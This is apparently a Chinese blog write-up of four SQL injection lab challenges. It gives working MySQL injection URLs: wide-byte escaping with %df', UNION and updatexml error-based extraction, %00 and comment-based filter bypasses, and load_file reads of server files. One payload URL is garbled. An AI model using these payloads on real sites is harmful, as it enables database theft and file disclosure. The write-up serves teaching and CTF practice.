mysql注入测试多句_Writeup for sql注入靶机测试

原创

体制内生存之道 于 2021-01-28 05:08:49 发布 33 收藏
文章标签： mysql注入测试多句

—For sql注入靶机测试

>>SQL注入分类UNION query SQL injection(可联合查询注入)

Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

Stacked queries SQL injection(可多语句查询注入)

Time-based blind SQL injection(基于时间延迟注入)

>>SQL注入利用手法

UNION query SQL injection(可联合查询注入)

要求网站没有过滤关键字 没有转义 有显示位

Error-based SQL injection(报错型注入)

需要脚本输出 sql错误信息

Boolean-based blind SQL injection(布尔型注入)

工作量大 需要时间

Stacked queries SQL injection(可多语句查询注入)

有的数据库不支持

Time-based blind SQL injection(基于时间延迟注入)

可以在条件很苛刻的情况下注入(无报错，无显示位)，但非常费时间。

sql-1(103.238.227.13:10083)1-http://103.238.227.13:10083/?id=-1%df' UNION SELECT 1,database() --+

2-http://103.238.227.13:10083/?id=-1%df' UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

3-http://103.238.227.13:10083/?id=-1%df' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=char(107,101,121) --+

4.http://103.238.227.13:10083/?id=-1%df' UNION SELECT 1,group_concat(string) from .key group by id --+

id=1后加‘没有报错，应该是加了将其转义了。宽字节注入是利用mysql的一个特性，mysql在使用GBK编码的时候，会认为两个字符是一个汉字(前一个ascii码要大于128，才到汉字的范围)。如果我们输入%df'看会怎样：我们可以看到，已经报错了。我们看到报错，说明sql语句出错，看到出错说明可以注入了。

为什么从刚才到现在，只是在’也就是%27前面加了一个%df就报错了？而且从图中可以看到，报错的原因就是多了一个单引号，而单引号前面的反斜杠不见了。

这就是mysql的特性，因为gbk是多字节编码，他认为两个字节代表一个汉字，所以%df和后面的也就是%5c变成了一个汉字“運”，而’逃逸了出来。

找到注入点了，order by 试出有2个字段。

union 查询爆数据库。以为可以一套出，结果。它。报。错。了。

然后再加上注释符。这样可以注释掉后面的sql语句，然后让其只执行攻击语句而达到目的。

继续。查询数据库。

得到sql5的库，继续，查表。

快好了，马上就好了。再查询key表的字段。

注意到表名用了ascii码，因为用’key’时"被转义了。

最后从key表查询，这里查询时key表直接输入有问题，试了试其他字符都可以，应该是有过滤。

这里不断的试，发现有一个点来连接，高涵表哥发现.key可以执行。

这里`key`也可以绕过。

最后。

aaaaaaaaaa

sql-2(103.238.227.13:10084)http://103.238.227.13:10084/?id=-1+anD Updatexml(1,concat(0x7e,(SELEcT @@veRsion),0x7e),1) --+

updatexml的爆错原因是updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错由此报错。

但updatexml的最大长度是32位的，所以有所局限(PS：但是应对大多的已经足够。)

数据库版本：5.5.48-log

sql-3(103.238.227.13:10087)http://103.238.227.13:10087/?id=1 u%00nion sel%00ect GROUP_CONCAT(hash),1 fr%00om .key --+

提示给出了部分源码，可以看出对这么多查询语句都进行了过滤，而求大小写也不管用，会转换后比对。

%00 php和mysql对于其的处理不同，PHP会对其进行解码，而mysql会忽略，这样既绕过了过滤，又不影响sql语句的执行。

步骤和第一个差不多，直接查询就好。

这里查询时key表直接输入有问题，试了试其他字符都可以，应该是有过滤。

同1

返回1~c3d3c17b4ca7f791f85e#$1cc72af274af4adef

sql-4(103.238.227.13:10088)

限制了空格，可以利用注释/**/代替空格，也可以用%0.

暴错注入，之前updatexml函数报错注入可以，这里也利用的updatexml()函数暴错，ExtractValue()也可以，返回的数据同样有限，最长32位，但可以分批次提取。http://103.238.227.13:10088/?id=-1/**/and/**/updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)

http://103.238.227.13:10088/?id=-1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/load_file(0x2f7661722f746573742f6b65795f312e706870)),0x7e),1)

http://103.238.227.13:10088/?id=1%0aand%0aupdatexml(1,concat(0x7e,(select%0a(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),64,32))),0x7e),1)http://103.238id=1%0aand%0aupdatexml(1,concat(0x7e,(select%0a(substring(load_file(0x2f7661722f746573742f6b65795f312e706870),95,32))),0x7e),1)

分2次读取再拼接。

得到Flag:”7249f5a7fd1de602b30e6f39aea6193a”